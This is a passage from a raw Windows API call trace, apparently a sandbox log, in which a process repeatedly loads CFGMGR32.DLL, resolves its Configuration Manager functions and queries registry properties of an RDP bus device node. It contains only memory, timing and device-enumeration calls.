lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.528] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.528] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.528] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.528] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.529] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.529] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.529] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.529] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.529] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.530] malloc (_Size=0x18) returned 0x196ef0d1b60 [0233.531] CM_Get_Device_IDA (in: dnDevInst=0x3d, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\RDPBUS\\0000") returned 0x0 [0233.531] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0233.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6c0bed80, dwHighDateTime=0x1d9eb0c)) [0233.531] SetEvent (hEvent=0x248) returned 1 [0233.585] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.585] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.590] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0233.590] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0233.590] malloc (_Size=0x1a) returned 0x196ef0f9b80 [0233.590] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9b80, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9b80, pulLength=0x67117d608) returned 0x0 [0233.591] free (_Block=0x196ef0f9b80) [0233.591] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0233.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6c1570a2, dwHighDateTime=0x1d9eb0c)) [0233.591] SetEvent (hEvent=0x248) returned 1 [0233.594] malloc (_Size=0x18) returned 0x196ef0d1b40 [0233.594] SafeArrayPutElement (psa=0x196ef1f2cb0, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0233.594] free (_Block=0x196ef0d1b40) [0233.594] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8561e0 [0233.594] SafeArrayGetDim (psa=0x196ef1f2cb0) returned 0x1 [0233.595] SafeArrayGetLBound (in: psa=0x196ef1f2cb0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0233.595] SafeArrayGetUBound (in: psa=0x196ef1f2cb0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0233.595] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0233.595] SafeArrayGetDim (psa=0x196ef1f2cb0) returned 0x1 [0233.595] SafeArrayGetUBound (in: psa=0x196ef1f2cb0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0233.595] SafeArrayGetElemsize (psa=0x196ef1f2cb0) returned 0x8 [0233.595] SafeArrayGetElement (in: psa=0x196ef1f2cb0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0233.596] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225cd0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.597] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0233.597] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8561e0) returned 1 [0233.597] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.597] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.601] malloc (_Size=0x18) returned 0x196ef0d1e60 [0233.602] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0233.602] malloc (_Size=0x48) returned 0x196ef0fb450 [0233.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6c17d2be, dwHighDateTime=0x1d9eb0c)) [0233.602] SetEvent (hEvent=0x248) returned 1 [0233.607] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.607] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.611] malloc (_Size=0x18) returned 0x196ef0d1980 [0233.611] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.615] malloc (_Size=0x48) returned 0x196ef0fbef0 [0233.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c1a35a7, dwHighDateTime=0x1d9eb0c)) [0233.616] SetEvent (hEvent=0x248) returned 1 [0233.619] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.620] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.620] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.624] malloc (_Size=0x18) returned 0x196ef0d1f60 [0233.624] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.624] malloc (_Size=0x48) returned 0x196ef0fb900 [0233.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c1a35a7, dwHighDateTime=0x1d9eb0c)) [0233.624] SetEvent (hEvent=0x248) returned 1 [0233.670] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.670] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.675] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0233.675] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.676] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0233.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c23c194, dwHighDateTime=0x1d9eb0c)) [0233.676] SetEvent (hEvent=0x248) returned 1 [0233.680] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.680] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.684] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.684] malloc (_Size=0x18) returned 0x196ef0d1b00 [0233.684] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.685] malloc (_Size=0x48) returned 0x196ef0fc080 [0233.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c23c194, dwHighDateTime=0x1d9eb0c)) [0233.685] SetEvent (hEvent=0x248) returned 1 [0233.691] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.691] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.696] malloc (_Size=0x18) returned 0x196ef0d19e0 [0233.696] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.699] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0233.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6c26d2a0, dwHighDateTime=0x1d9eb0c)) [0233.699] SetEvent (hEvent=0x248) returned 1 [0233.705] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.705] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 